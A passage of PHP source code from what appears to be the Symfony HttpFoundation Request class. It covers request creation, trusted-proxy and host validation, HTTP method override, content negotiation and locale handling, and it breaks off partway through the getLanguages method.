$headers; /** * @var string|resource|false|null */ protected $content; /** * @var string[] */ protected $languages; /** * @var string[] */ protected $charsets; /** * @var string[] */ protected $encodings; /** * @var string[] */ protected $acceptableContentTypes; /** * @var string */ protected $pathInfo; /** * @var string */ protected $requestUri; /** * @var string */ protected $baseUrl; /** * @var string */ protected $basePath; /** * @var string */ protected $method; /** * @var string */ protected $format; /** * @var SessionInterface|callable(): SessionInterface */ protected $session; /** * @var string|null */ protected $locale; /** * @var string */ protected $defaultLocale = 'en'; /** * @var array */ protected static $formats; protected static $requestFactory; private ?string $preferredFormat = null; private bool $isHostValid = true; private bool $isForwardedValid = true; private bool $isSafeContentPreferred; private static int $trustedHeaderSet = -1; private const FORWARDED_PARAMS = [ self::HEADER_X_FORWARDED_FOR => 'for', self::HEADER_X_FORWARDED_HOST => 'host', self::HEADER_X_FORWARDED_PROTO => 'proto', self::HEADER_X_FORWARDED_PORT => 'host', ]; /** * Names for headers that can be trusted when * using trusted proxies. * * The FORWARDED header is the standard as of rfc7239. * * The other headers are non-standard, but widely used * by popular reverse proxies (like Apache mod_proxy or Amazon EC2). */ private const TRUSTED_HEADERS = [ self::HEADER_FORWARDED => 'FORWARDED', self::HEADER_X_FORWARDED_FOR => 'X_FORWARDED_FOR', self::HEADER_X_FORWARDED_HOST => 'X_FORWARDED_HOST', self::HEADER_X_FORWARDED_PROTO => 'X_FORWARDED_PROTO', self::HEADER_X_FORWARDED_PORT => 'X_FORWARDED_PORT', self::HEADER_X_FORWARDED_PREFIX => 'X_FORWARDED_PREFIX', ]; /** @var bool */ private $isIisRewrite = false; /** * @param array $query The GET parameters * @param array $request The POST parameters * @param array $attributes The request attributes (parameters parsed from the PATH_INFO, ...) * @param array $cookies The COOKIE parameters * @param array $files The FILES parameters * @param array $server The SERVER parameters * @param string|resource|null $content The raw body data */ public function __construct(array $query = [], array $request = [], array $attributes = [], array $cookies = [], array $files = [], array $server = [], $content = null) { $this->initialize($query, $request, $attributes, $cookies, $files, $server, $content); } /** * Sets the parameters for this request. * * This method also re-initializes all properties. * * @param array $query The GET parameters * @param array $request The POST parameters * @param array $attributes The request attributes (parameters parsed from the PATH_INFO, ...) * @param array $cookies The COOKIE parameters * @param array $files The FILES parameters * @param array $server The SERVER parameters * @param string|resource|null $content The raw body data * * @return void */ public function initialize(array $query = [], array $request = [], array $attributes = [], array $cookies = [], array $files = [], array $server = [], $content = null) { $this->request = new InputBag($request); $this->query = new InputBag($query); $this->attributes = new ParameterBag($attributes); $this->cookies = new InputBag($cookies); $this->files = new FileBag($files); $this->server = new ServerBag($server); $this->headers = new HeaderBag($this->server->getHeaders()); $this->content = $content; $this->languages = null; $this->charsets = null; $this->encodings = null; $this->acceptableContentTypes = null; $this->pathInfo = null; $this->requestUri = null; $this->baseUrl = null; $this->basePath = null; $this->method = null; $this->format = null; } /** * Creates a new request with values from PHP's super globals. */ public static function createFromGlobals(): static { $request = self::createRequestFromFactory($_GET, $_POST, [], $_COOKIE, $_FILES, $_SERVER); if (str_starts_with($request->headers->get('CONTENT_TYPE', ''), 'application/x-www-form-urlencoded') && \in_array(strtoupper($request->server->get('REQUEST_METHOD', 'GET')), ['PUT', 'DELETE', 'PATCH']) ) { parse_str($request->getContent(), $data); $request->request = new InputBag($data); } return $request; } /** * Creates a Request based on a given URI and configuration. * * The information contained in the URI always take precedence * over the other information (server and parameters). * * @param string $uri The URI * @param string $method The HTTP method * @param array $parameters The query (GET) or request (POST) parameters * @param array $cookies The request cookies ($_COOKIE) * @param array $files The request files ($_FILES) * @param array $server The server parameters ($_SERVER) * @param string|resource|null $content The raw body data */ public static function create(string $uri, string $method = 'GET', array $parameters = [], array $cookies = [], array $files = [], array $server = [], $content = null): static { $server = array_replace([ 'SERVER_NAME' => 'localhost', 'SERVER_PORT' => 80, 'HTTP_HOST' => 'localhost', 'HTTP_USER_AGENT' => 'Symfony', 'HTTP_ACCEPT' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'HTTP_ACCEPT_LANGUAGE' => 'en-us,en;q=0.5', 'HTTP_ACCEPT_CHARSET' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7', 'REMOTE_ADDR' => '127.0.0.1', 'SCRIPT_NAME' => '', 'SCRIPT_FILENAME' => '', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'REQUEST_TIME' => time(), 'REQUEST_TIME_FLOAT' => microtime(true), ], $server); $server['PATH_INFO'] = ''; $server['REQUEST_METHOD'] = strtoupper($method); $components = parse_url($uri); if (false === $components) { trigger_deprecation('symfony/http-foundation', '6.3', 'Calling "%s()" with an invalid URI is deprecated.', __METHOD__); $components = []; } if (isset($components['host'])) { $server['SERVER_NAME'] = $components['host']; $server['HTTP_HOST'] = $components['host']; } if (isset($components['scheme'])) { if ('https' === $components['scheme']) { $server['HTTPS'] = 'on'; $server['SERVER_PORT'] = 443; } else { unset($server['HTTPS']); $server['SERVER_PORT'] = 80; } } if (isset($components['port'])) { $server['SERVER_PORT'] = $components['port']; $server['HTTP_HOST'] .= ':'.$components['port']; } if (isset($components['user'])) { $server['PHP_AUTH_USER'] = $components['user']; } if (isset($components['pass'])) { $server['PHP_AUTH_PW'] = $components['pass']; } if (!isset($components['path'])) { $components['path'] = '/'; } switch (strtoupper($method)) { case 'POST': case 'PUT': case 'DELETE': if (!isset($server['CONTENT_TYPE'])) { $server['CONTENT_TYPE'] = 'application/x-www-form-urlencoded'; } // no break case 'PATCH': $request = $parameters; $query = []; break; default: $request = []; $query = $parameters; break; } $queryString = ''; if (isset($components['query'])) { parse_str(html_entity_decode($components['query']), $qs); if ($query) { $query = array_replace($qs, $query); $queryString = http_build_query($query, '', '&'); } else { $query = $qs; $queryString = $components['query']; } } elseif ($query) { $queryString = http_build_query($query, '', '&'); } $server['REQUEST_URI'] = $components['path'].('' !== $queryString ? '?'.$queryString : ''); $server['QUERY_STRING'] = $queryString; return self::createRequestFromFactory($query, $request, [], $cookies, $files, $server, $content); } /** * Sets a callable able to create a Request instance. * * This is mainly useful when you need to override the Request class * to keep BC with an existing system. It should not be used for any * other purpose. * * @return void */ public static function setFactory(?callable $callable) { self::$requestFactory = $callable; } /** * Clones a request and overrides some of its parameters. * * @param array|null $query The GET parameters * @param array|null $request The POST parameters * @param array|null $attributes The request attributes (parameters parsed from the PATH_INFO, ...) * @param array|null $cookies The COOKIE parameters * @param array|null $files The FILES parameters * @param array|null $server The SERVER parameters */ public function duplicate(array $query = null, array $request = null, array $attributes = null, array $cookies = null, array $files = null, array $server = null): static { $dup = clone $this; if (null !== $query) { $dup->query = new InputBag($query); } if (null !== $request) { $dup->request = new InputBag($request); } if (null !== $attributes) { $dup->attributes = new ParameterBag($attributes); } if (null !== $cookies) { $dup->cookies = new InputBag($cookies); } if (null !== $files) { $dup->files = new FileBag($files); } if (null !== $server) { $dup->server = new ServerBag($server); $dup->headers = new HeaderBag($dup->server->getHeaders()); } $dup->languages = null; $dup->charsets = null; $dup->encodings = null; $dup->acceptableContentTypes = null; $dup->pathInfo = null; $dup->requestUri = null; $dup->baseUrl = null; $dup->basePath = null; $dup->method = null; $dup->format = null; if (!$dup->get('_format') && $this->get('_format')) { $dup->attributes->set('_format', $this->get('_format')); } if (!$dup->getRequestFormat(null)) { $dup->setRequestFormat($this->getRequestFormat(null)); } return $dup; } /** * Clones the current request. * * Note that the session is not cloned as duplicated requests * are most of the time sub-requests of the main one. */ public function __clone() { $this->query = clone $this->query; $this->request = clone $this->request; $this->attributes = clone $this->attributes; $this->cookies = clone $this->cookies; $this->files = clone $this->files; $this->server = clone $this->server; $this->headers = clone $this->headers; } public function __toString(): string { $content = $this->getContent(); $cookieHeader = ''; $cookies = []; foreach ($this->cookies as $k => $v) { $cookies[] = \is_array($v) ? http_build_query([$k => $v], '', '; ', \PHP_QUERY_RFC3986) : "$k=$v"; } if ($cookies) { $cookieHeader = 'Cookie: '.implode('; ', $cookies)."\r\n"; } return sprintf('%s %s %s', $this->getMethod(), $this->getRequestUri(), $this->server->get('SERVER_PROTOCOL'))."\r\n". $this->headers. $cookieHeader."\r\n". $content; } /** * Overrides the PHP global variables according to this request instance. * * It overrides $_GET, $_POST, $_REQUEST, $_SERVER, $_COOKIE. * $_FILES is never overridden, see rfc1867 * * @return void */ public function overrideGlobals() { $this->server->set('QUERY_STRING', static::normalizeQueryString(http_build_query($this->query->all(), '', '&'))); $_GET = $this->query->all(); $_POST = $this->request->all(); $_SERVER = $this->server->all(); $_COOKIE = $this->cookies->all(); foreach ($this->headers->all() as $key => $value) { $key = strtoupper(str_replace('-', '_', $key)); if (\in_array($key, ['CONTENT_TYPE', 'CONTENT_LENGTH', 'CONTENT_MD5'], true)) { $_SERVER[$key] = implode(', ', $value); } else { $_SERVER['HTTP_'.$key] = implode(', ', $value); } } $request = ['g' => $_GET, 'p' => $_POST, 'c' => $_COOKIE]; $requestOrder = \ini_get('request_order') ?: \ini_get('variables_order'); $requestOrder = preg_replace('#[^cgp]#', '', strtolower($requestOrder)) ?: 'gp'; $_REQUEST = [[]]; foreach (str_split($requestOrder) as $order) { $_REQUEST[] = $request[$order]; } $_REQUEST = array_merge(...$_REQUEST); } /** * Sets a list of trusted proxies. * * You should only list the reverse proxies that you manage directly. * * @param array $proxies A list of trusted proxies, the string 'REMOTE_ADDR' will be replaced with $_SERVER['REMOTE_ADDR'] * @param int $trustedHeaderSet A bit field of Request::HEADER_*, to set which headers to trust from your proxies * * @return void */ public static function setTrustedProxies(array $proxies, int $trustedHeaderSet) { self::$trustedProxies = array_reduce($proxies, function ($proxies, $proxy) { if ('REMOTE_ADDR' !== $proxy) { $proxies[] = $proxy; } elseif (isset($_SERVER['REMOTE_ADDR'])) { $proxies[] = $_SERVER['REMOTE_ADDR']; } return $proxies; }, []); self::$trustedHeaderSet = $trustedHeaderSet; } /** * Gets the list of trusted proxies. * * @return string[] */ public static function getTrustedProxies(): array { return self::$trustedProxies; } /** * Gets the set of trusted headers from trusted proxies. * * @return int A bit field of Request::HEADER_* that defines which headers are trusted from your proxies */ public static function getTrustedHeaderSet(): int { return self::$trustedHeaderSet; } /** * Sets a list of trusted host patterns. * * You should only list the hosts you manage using regexs. * * @param array $hostPatterns A list of trusted host patterns * * @return void */ public static function setTrustedHosts(array $hostPatterns) { self::$trustedHostPatterns = array_map(fn ($hostPattern) => sprintf('{%s}i', $hostPattern), $hostPatterns); // we need to reset trusted hosts on trusted host patterns change self::$trustedHosts = []; } /** * Gets the list of trusted host patterns. * * @return string[] */ public static function getTrustedHosts(): array { return self::$trustedHostPatterns; } /** * Normalizes a query string. * * It builds a normalized query string, where keys/value pairs are alphabetized, * have consistent escaping and unneeded delimiters are removed. */ public static function normalizeQueryString(?string $qs): string { if ('' === ($qs ?? '')) { return ''; } $qs = HeaderUtils::parseQuery($qs); ksort($qs); return http_build_query($qs, '', '&', \PHP_QUERY_RFC3986); } /** * Enables support for the _method request parameter to determine the intended HTTP method. * * Be warned that enabling this feature might lead to CSRF issues in your code. * Check that you are using CSRF tokens when required. * If the HTTP method parameter override is enabled, an html-form with method "POST" can be altered * and used to send a "PUT" or "DELETE" request via the _method request parameter. * If these methods are not protected against CSRF, this presents a possible vulnerability. * * The HTTP method can only be overridden when the real HTTP method is POST. * * @return void */ public static function enableHttpMethodParameterOverride() { self::$httpMethodParameterOverride = true; } /** * Checks whether support for the _method request parameter is enabled. */ public static function getHttpMethodParameterOverride(): bool { return self::$httpMethodParameterOverride; } /** * Gets a "parameter" value from any bag. * * This method is mainly useful for libraries that want to provide some flexibility. If you don't need the * flexibility in controllers, it is better to explicitly get request parameters from the appropriate * public property instead (attributes, query, request). * * Order of precedence: PATH (routing placeholders or custom attributes), GET, POST * * @internal use explicit input sources instead */ public function get(string $key, mixed $default = null): mixed { if ($this !== $result = $this->attributes->get($key, $this)) { return $result; } if ($this->query->has($key)) { return $this->query->all()[$key]; } if ($this->request->has($key)) { return $this->request->all()[$key]; } return $default; } /** * Gets the Session. * * @throws SessionNotFoundException When session is not set properly */ public function getSession(): SessionInterface { $session = $this->session; if (!$session instanceof SessionInterface && null !== $session) { $this->setSession($session = $session()); } if (null === $session) { throw new SessionNotFoundException('Session has not been set.'); } return $session; } /** * Whether the request contains a Session which was started in one of the * previous requests. */ public function hasPreviousSession(): bool { // the check for $this->session avoids malicious users trying to fake a session cookie with proper name return $this->hasSession() && $this->cookies->has($this->getSession()->getName()); } /** * Whether the request contains a Session object. * * This method does not give any information about the state of the session object, * like whether the session is started or not. It is just a way to check if this Request * is associated with a Session instance. * * @param bool $skipIfUninitialized When true, ignores factories injected by `setSessionFactory` */ public function hasSession(bool $skipIfUninitialized = false): bool { return null !== $this->session && (!$skipIfUninitialized || $this->session instanceof SessionInterface); } /** * @return void */ public function setSession(SessionInterface $session) { $this->session = $session; } /** * @internal * * @param callable(): SessionInterface $factory */ public function setSessionFactory(callable $factory): void { $this->session = $factory; } /** * Returns the client IP addresses. * * In the returned array the most trusted IP address is first, and the * least trusted one last. The "real" client IP address is the last one, * but this is also the least trusted one. Trusted proxies are stripped. * * Use this method carefully; you should use getClientIp() instead. * * @see getClientIp() */ public function getClientIps(): array { $ip = $this->server->get('REMOTE_ADDR'); if (!$this->isFromTrustedProxy()) { return [$ip]; } return $this->getTrustedValues(self::HEADER_X_FORWARDED_FOR, $ip) ?: [$ip]; } /** * Returns the client IP address. * * This method can read the client IP address from the "X-Forwarded-For" header * when trusted proxies were set via "setTrustedProxies()". The "X-Forwarded-For" * header value is a comma+space separated list of IP addresses, the left-most * being the original client, and each successive proxy that passed the request * adding the IP address where it received the request from. * * If your reverse proxy uses a different header name than "X-Forwarded-For", * ("Client-Ip" for instance), configure it via the $trustedHeaderSet * argument of the Request::setTrustedProxies() method instead. * * @see getClientIps() * @see https://wikipedia.org/wiki/X-Forwarded-For */ public function getClientIp(): ?string { $ipAddresses = $this->getClientIps(); return $ipAddresses[0]; } /** * Returns current script name. */ public function getScriptName(): string { return $this->server->get('SCRIPT_NAME', $this->server->get('ORIG_SCRIPT_NAME', '')); } /** * Returns the path being requested relative to the executed script. * * The path info always starts with a /. * * Suppose this request is instantiated from /mysite on localhost: * * * http://localhost/mysite returns an empty string * * http://localhost/mysite/about returns '/about' * * http://localhost/mysite/enco%20ded returns '/enco%20ded' * * http://localhost/mysite/about?var=1 returns '/about' * * @return string The raw path (i.e. not urldecoded) */ public function getPathInfo(): string { return $this->pathInfo ??= $this->preparePathInfo(); } /** * Returns the root path from which this request is executed. * * Suppose that an index.php file instantiates this request object: * * * http://localhost/index.php returns an empty string * * http://localhost/index.php/page returns an empty string * * http://localhost/web/index.php returns '/web' * * http://localhost/we%20b/index.php returns '/we%20b' * * @return string The raw path (i.e. not urldecoded) */ public function getBasePath(): string { return $this->basePath ??= $this->prepareBasePath(); } /** * Returns the root URL from which this request is executed. * * The base URL never ends with a /. * * This is similar to getBasePath(), except that it also includes the * script filename (e.g. index.php) if one exists. * * @return string The raw URL (i.e. not urldecoded) */ public function getBaseUrl(): string { $trustedPrefix = ''; // the proxy prefix must be prepended to any prefix being needed at the webserver level if ($this->isFromTrustedProxy() && $trustedPrefixValues = $this->getTrustedValues(self::HEADER_X_FORWARDED_PREFIX)) { $trustedPrefix = rtrim($trustedPrefixValues[0], '/'); } return $trustedPrefix.$this->getBaseUrlReal(); } /** * Returns the real base URL received by the webserver from which this request is executed. * The URL does not include trusted reverse proxy prefix. * * @return string The raw URL (i.e. not urldecoded) */ private function getBaseUrlReal(): string { return $this->baseUrl ??= $this->prepareBaseUrl(); } /** * Gets the request's scheme. */ public function getScheme(): string { return $this->isSecure() ? 'https' : 'http'; } /** * Returns the port on which the request is made. * * This method can read the client port from the "X-Forwarded-Port" header * when trusted proxies were set via "setTrustedProxies()". * * The "X-Forwarded-Port" header must contain the client port. * * @return int|string|null Can be a string if fetched from the server bag */ public function getPort(): int|string|null { if ($this->isFromTrustedProxy() && $host = $this->getTrustedValues(self::HEADER_X_FORWARDED_PORT)) { $host = $host[0]; } elseif ($this->isFromTrustedProxy() && $host = $this->getTrustedValues(self::HEADER_X_FORWARDED_HOST)) { $host = $host[0]; } elseif (!$host = $this->headers->get('HOST')) { return $this->server->get('SERVER_PORT'); } if ('[' === $host[0]) { $pos = strpos($host, ':', strrpos($host, ']')); } else { $pos = strrpos($host, ':'); } if (false !== $pos && $port = substr($host, $pos + 1)) { return (int) $port; } return 'https' === $this->getScheme() ? 443 : 80; } /** * Returns the user. */ public function getUser(): ?string { return $this->headers->get('PHP_AUTH_USER'); } /** * Returns the password. */ public function getPassword(): ?string { return $this->headers->get('PHP_AUTH_PW'); } /** * Gets the user info. * * @return string|null A user name if any and, optionally, scheme-specific information about how to gain authorization to access the server */ public function getUserInfo(): ?string { $userinfo = $this->getUser(); $pass = $this->getPassword(); if ('' != $pass) { $userinfo .= ":$pass"; } return $userinfo; } /** * Returns the HTTP host being requested. * * The port name will be appended to the host if it's non-standard. */ public function getHttpHost(): string { $scheme = $this->getScheme(); $port = $this->getPort(); if (('http' === $scheme && 80 == $port) || ('https' === $scheme && 443 == $port)) { return $this->getHost(); } return $this->getHost().':'.$port; } /** * Returns the requested URI (path and query string). * * @return string The raw URI (i.e. not URI decoded) */ public function getRequestUri(): string { return $this->requestUri ??= $this->prepareRequestUri(); } /** * Gets the scheme and HTTP host. * * If the URL was called with basic authentication, the user * and the password are not added to the generated string. */ public function getSchemeAndHttpHost(): string { return $this->getScheme().'://'.$this->getHttpHost(); } /** * Generates a normalized URI (URL) for the Request. * * @see getQueryString() */ public function getUri(): string { if (null !== $qs = $this->getQueryString()) { $qs = '?'.$qs; } return $this->getSchemeAndHttpHost().$this->getBaseUrl().$this->getPathInfo().$qs; } /** * Generates a normalized URI for the given path. * * @param string $path A path to use instead of the current one */ public function getUriForPath(string $path): string { return $this->getSchemeAndHttpHost().$this->getBaseUrl().$path; } /** * Returns the path as relative reference from the current Request path. * * Only the URIs path component (no schema, host etc.) is relevant and must be given. * Both paths must be absolute and not contain relative parts. * Relative URLs from one resource to another are useful when generating self-contained downloadable document archives. * Furthermore, they can be used to reduce the link size in documents. * * Example target paths, given a base path of "/a/b/c/d": * - "/a/b/c/d" -> "" * - "/a/b/c/" -> "./" * - "/a/b/" -> "../" * - "/a/b/c/other" -> "other" * - "/a/x/y" -> "../../x/y" */ public function getRelativeUriForPath(string $path): string { // be sure that we are dealing with an absolute path if (!isset($path[0]) || '/' !== $path[0]) { return $path; } if ($path === $basePath = $this->getPathInfo()) { return ''; } $sourceDirs = explode('/', isset($basePath[0]) && '/' === $basePath[0] ? substr($basePath, 1) : $basePath); $targetDirs = explode('/', substr($path, 1)); array_pop($sourceDirs); $targetFile = array_pop($targetDirs); foreach ($sourceDirs as $i => $dir) { if (isset($targetDirs[$i]) && $dir === $targetDirs[$i]) { unset($sourceDirs[$i], $targetDirs[$i]); } else { break; } } $targetDirs[] = $targetFile; $path = str_repeat('../', \count($sourceDirs)).implode('/', $targetDirs); // A reference to the same base directory or an empty subdirectory must be prefixed with "./". // This also applies to a segment with a colon character (e.g., "file:colon") that cannot be used // as the first segment of a relative-path reference, as it would be mistaken for a scheme name // (see https://tools.ietf.org/html/rfc3986#section-4.2). return !isset($path[0]) || '/' === $path[0] || false !== ($colonPos = strpos($path, ':')) && ($colonPos < ($slashPos = strpos($path, '/')) || false === $slashPos) ? "./$path" : $path; } /** * Generates the normalized query string for the Request. * * It builds a normalized query string, where keys/value pairs are alphabetized * and have consistent escaping. */ public function getQueryString(): ?string { $qs = static::normalizeQueryString($this->server->get('QUERY_STRING')); return '' === $qs ? null : $qs; } /** * Checks whether the request is secure or not. * * This method can read the client protocol from the "X-Forwarded-Proto" header * when trusted proxies were set via "setTrustedProxies()". * * The "X-Forwarded-Proto" header must contain the protocol: "https" or "http". */ public function isSecure(): bool { if ($this->isFromTrustedProxy() && $proto = $this->getTrustedValues(self::HEADER_X_FORWARDED_PROTO)) { return \in_array(strtolower($proto[0]), ['https', 'on', 'ssl', '1'], true); } $https = $this->server->get('HTTPS'); return !empty($https) && 'off' !== strtolower($https); } /** * Returns the host name. * * This method can read the client host name from the "X-Forwarded-Host" header * when trusted proxies were set via "setTrustedProxies()". * * The "X-Forwarded-Host" header must contain the client host name. * * @throws SuspiciousOperationException when the host name is invalid or not trusted */ public function getHost(): string { if ($this->isFromTrustedProxy() && $host = $this->getTrustedValues(self::HEADER_X_FORWARDED_HOST)) { $host = $host[0]; } elseif (!$host = $this->headers->get('HOST')) { if (!$host = $this->server->get('SERVER_NAME')) { $host = $this->server->get('SERVER_ADDR', ''); } } // trim and remove port number from host // host is lowercase as per RFC 952/2181 $host = strtolower(preg_replace('/:\d+$/', '', trim($host))); // as the host can come from the user (HTTP_HOST and depending on the configuration, SERVER_NAME too can come from the user) // check that it does not contain forbidden characters (see RFC 952 and RFC 2181) // use preg_replace() instead of preg_match() to prevent DoS attacks with long host names if ($host && '' !== preg_replace('/(?:^\[)?[a-zA-Z0-9-:\]_]+\.?/', '', $host)) { if (!$this->isHostValid) { return ''; } $this->isHostValid = false; throw new SuspiciousOperationException(sprintf('Invalid Host "%s".', $host)); } if (\count(self::$trustedHostPatterns) > 0) { // to avoid host header injection attacks, you should provide a list of trusted host patterns if (\in_array($host, self::$trustedHosts)) { return $host; } foreach (self::$trustedHostPatterns as $pattern) { if (preg_match($pattern, $host)) { self::$trustedHosts[] = $host; return $host; } } if (!$this->isHostValid) { return ''; } $this->isHostValid = false; throw new SuspiciousOperationException(sprintf('Untrusted Host "%s".', $host)); } return $host; } /** * Sets the request method. * * @return void */ public function setMethod(string $method) { $this->method = null; $this->server->set('REQUEST_METHOD', $method); } /** * Gets the request "intended" method. * * If the X-HTTP-Method-Override header is set, and if the method is a POST, * then it is used to determine the "real" intended HTTP method. * * The _method request parameter can also be used to determine the HTTP method, * but only if enableHttpMethodParameterOverride() has been called. * * The method is always an uppercased string. * * @see getRealMethod() */ public function getMethod(): string { if (null !== $this->method) { return $this->method; } $this->method = strtoupper($this->server->get('REQUEST_METHOD', 'GET')); if ('POST' !== $this->method) { return $this->method; } $method = $this->headers->get('X-HTTP-METHOD-OVERRIDE'); if (!$method && self::$httpMethodParameterOverride) { $method = $this->request->get('_method', $this->query->get('_method', 'POST')); } if (!\is_string($method)) { return $this->method; } $method = strtoupper($method); if (\in_array($method, ['GET', 'HEAD', 'POST', 'PUT', 'DELETE', 'CONNECT', 'OPTIONS', 'PATCH', 'PURGE', 'TRACE'], true)) { return $this->method = $method; } if (!preg_match('/^[A-Z]++$/D', $method)) { throw new SuspiciousOperationException(sprintf('Invalid method override "%s".', $method)); } return $this->method = $method; } /** * Gets the "real" request method. * * @see getMethod() */ public function getRealMethod(): string { return strtoupper($this->server->get('REQUEST_METHOD', 'GET')); } /** * Gets the mime type associated with the format. */ public function getMimeType(string $format): ?string { if (null === static::$formats) { static::initializeFormats(); } return isset(static::$formats[$format]) ? static::$formats[$format][0] : null; } /** * Gets the mime types associated with the format. * * @return string[] */ public static function getMimeTypes(string $format): array { if (null === static::$formats) { static::initializeFormats(); } return static::$formats[$format] ?? []; } /** * Gets the format associated with the mime type. */ public function getFormat(?string $mimeType): ?string { $canonicalMimeType = null; if ($mimeType && false !== $pos = strpos($mimeType, ';')) { $canonicalMimeType = trim(substr($mimeType, 0, $pos)); } if (null === static::$formats) { static::initializeFormats(); } foreach (static::$formats as $format => $mimeTypes) { if (\in_array($mimeType, (array) $mimeTypes)) { return $format; } if (null !== $canonicalMimeType && \in_array($canonicalMimeType, (array) $mimeTypes)) { return $format; } } return null; } /** * Associates a format with mime types. * * @param string|string[] $mimeTypes The associated mime types (the preferred one must be the first as it will be used as the content type) * * @return void */ public function setFormat(?string $format, string|array $mimeTypes) { if (null === static::$formats) { static::initializeFormats(); } static::$formats[$format] = \is_array($mimeTypes) ? $mimeTypes : [$mimeTypes]; } /** * Gets the request format. * * Here is the process to determine the format: * * * format defined by the user (with setRequestFormat()) * * _format request attribute * * $default * * @see getPreferredFormat */ public function getRequestFormat(?string $default = 'html'): ?string { $this->format ??= $this->attributes->get('_format'); return $this->format ?? $default; } /** * Sets the request format. * * @return void */ public function setRequestFormat(?string $format) { $this->format = $format; } /** * Gets the usual name of the format associated with the request's media type (provided in the Content-Type header). * * @deprecated since Symfony 6.2, use getContentTypeFormat() instead */ public function getContentType(): ?string { trigger_deprecation('symfony/http-foundation', '6.2', 'The "%s()" method is deprecated, use "getContentTypeFormat()" instead.', __METHOD__); return $this->getContentTypeFormat(); } /** * Gets the usual name of the format associated with the request's media type (provided in the Content-Type header). * * @see Request::$formats */ public function getContentTypeFormat(): ?string { return $this->getFormat($this->headers->get('CONTENT_TYPE', '')); } /** * Sets the default locale. * * @return void */ public function setDefaultLocale(string $locale) { $this->defaultLocale = $locale; if (null === $this->locale) { $this->setPhpDefaultLocale($locale); } } /** * Get the default locale. */ public function getDefaultLocale(): string { return $this->defaultLocale; } /** * Sets the locale. * * @return void */ public function setLocale(string $locale) { $this->setPhpDefaultLocale($this->locale = $locale); } /** * Get the locale. */ public function getLocale(): string { return $this->locale ?? $this->defaultLocale; } /** * Checks if the request method is of specified type. * * @param string $method Uppercase request method (GET, POST etc) */ public function isMethod(string $method): bool { return $this->getMethod() === strtoupper($method); } /** * Checks whether or not the method is safe. * * @see https://tools.ietf.org/html/rfc7231#section-4.2.1 */ public function isMethodSafe(): bool { return \in_array($this->getMethod(), ['GET', 'HEAD', 'OPTIONS', 'TRACE']); } /** * Checks whether or not the method is idempotent. */ public function isMethodIdempotent(): bool { return \in_array($this->getMethod(), ['HEAD', 'GET', 'PUT', 'DELETE', 'TRACE', 'OPTIONS', 'PURGE']); } /** * Checks whether the method is cacheable or not. * * @see https://tools.ietf.org/html/rfc7231#section-4.2.3 */ public function isMethodCacheable(): bool { return \in_array($this->getMethod(), ['GET', 'HEAD']); } /** * Returns the protocol version. * * If the application is behind a proxy, the protocol version used in the * requests between the client and the proxy and between the proxy and the * server might be different. This returns the former (from the "Via" header) * if the proxy is trusted (see "setTrustedProxies()"), otherwise it returns * the latter (from the "SERVER_PROTOCOL" server parameter). */ public function getProtocolVersion(): ?string { if ($this->isFromTrustedProxy()) { preg_match('~^(HTTP/)?([1-9]\.[0-9]) ~', $this->headers->get('Via') ?? '', $matches); if ($matches) { return 'HTTP/'.$matches[2]; } } return $this->server->get('SERVER_PROTOCOL'); } /** * Returns the request body content. * * @param bool $asResource If true, a resource will be returned * * @return string|resource * * @psalm-return ($asResource is true ? resource : string) */ public function getContent(bool $asResource = false) { $currentContentIsResource = \is_resource($this->content); if (true === $asResource) { if ($currentContentIsResource) { rewind($this->content); return $this->content; } // Content passed in parameter (test) if (\is_string($this->content)) { $resource = fopen('php://temp', 'r+'); fwrite($resource, $this->content); rewind($resource); return $resource; } $this->content = false; return fopen('php://input', 'r'); } if ($currentContentIsResource) { rewind($this->content); return stream_get_contents($this->content); } if (null === $this->content || false === $this->content) { $this->content = file_get_contents('php://input'); } return $this->content; } /** * Gets the decoded form or json request body. * * @throws JsonException When the body cannot be decoded to an array */ public function getPayload(): InputBag { if ($this->request->count()) { return clone $this->request; } if ('' === $content = $this->getContent()) { return new InputBag([]); } try { $content = json_decode($content, true, 512, \JSON_BIGINT_AS_STRING | \JSON_THROW_ON_ERROR); } catch (\JsonException $e) { throw new JsonException('Could not decode request body.', $e->getCode(), $e); } if (!\is_array($content)) { throw new JsonException(sprintf('JSON content was expected to decode to an array, "%s" returned.', get_debug_type($content))); } return new InputBag($content); } /** * Gets the request body decoded as array, typically from a JSON payload. * * @see getPayload() for portability between content types * * @throws JsonException When the body cannot be decoded to an array */ public function toArray(): array { if ('' === $content = $this->getContent()) { throw new JsonException('Request body is empty.'); } try { $content = json_decode($content, true, 512, \JSON_BIGINT_AS_STRING | \JSON_THROW_ON_ERROR); } catch (\JsonException $e) { throw new JsonException('Could not decode request body.', $e->getCode(), $e); } if (!\is_array($content)) { throw new JsonException(sprintf('JSON content was expected to decode to an array, "%s" returned.', get_debug_type($content))); } return $content; } /** * Gets the Etags. */ public function getETags(): array { return preg_split('/\s*,\s*/', $this->headers->get('If-None-Match', ''), -1, \PREG_SPLIT_NO_EMPTY); } public function isNoCache(): bool { return $this->headers->hasCacheControlDirective('no-cache') || 'no-cache' == $this->headers->get('Pragma'); } /** * Gets the preferred format for the response by inspecting, in the following order: * * the request format set using setRequestFormat; * * the values of the Accept HTTP header. * * Note that if you use this method, you should send the "Vary: Accept" header * in the response to prevent any issues with intermediary HTTP caches. */ public function getPreferredFormat(?string $default = 'html'): ?string { if (null !== $this->preferredFormat || null !== $this->preferredFormat = $this->getRequestFormat(null)) { return $this->preferredFormat; } foreach ($this->getAcceptableContentTypes() as $mimeType) { if ($this->preferredFormat = $this->getFormat($mimeType)) { return $this->preferredFormat; } } return $default; } /** * Returns the preferred language. * * @param string[] $locales An array of ordered available locales */ public function getPreferredLanguage(array $locales = null): ?string { $preferredLanguages = $this->getLanguages(); if (empty($locales)) { return $preferredLanguages[0] ?? null; } if (!$preferredLanguages) { return $locales[0]; } $extendedPreferredLanguages = []; foreach ($preferredLanguages as $language) { $extendedPreferredLanguages[] = $language; if (false !== $position = strpos($language, '_')) { $superLanguage = substr($language, 0, $position); if (!\in_array($superLanguage, $preferredLanguages)) { $extendedPreferredLanguages[] = $superLanguage; } } } $preferredLanguages = array_values(array_intersect($extendedPreferredLanguages, $locales)); return $preferredLanguages[0] ?? $locales[0]; } /** * Gets a list of languages acceptable by the client browser ordered in the user browser preferences. * * @return string[] */ public function getLanguages(): array { if (null !== $this->languages) { return $this->languages; } $languages = AcceptHeader::fromString($this->headers->get('Accept-Language'))->all(); $this->languages = []; foreach ($languages as 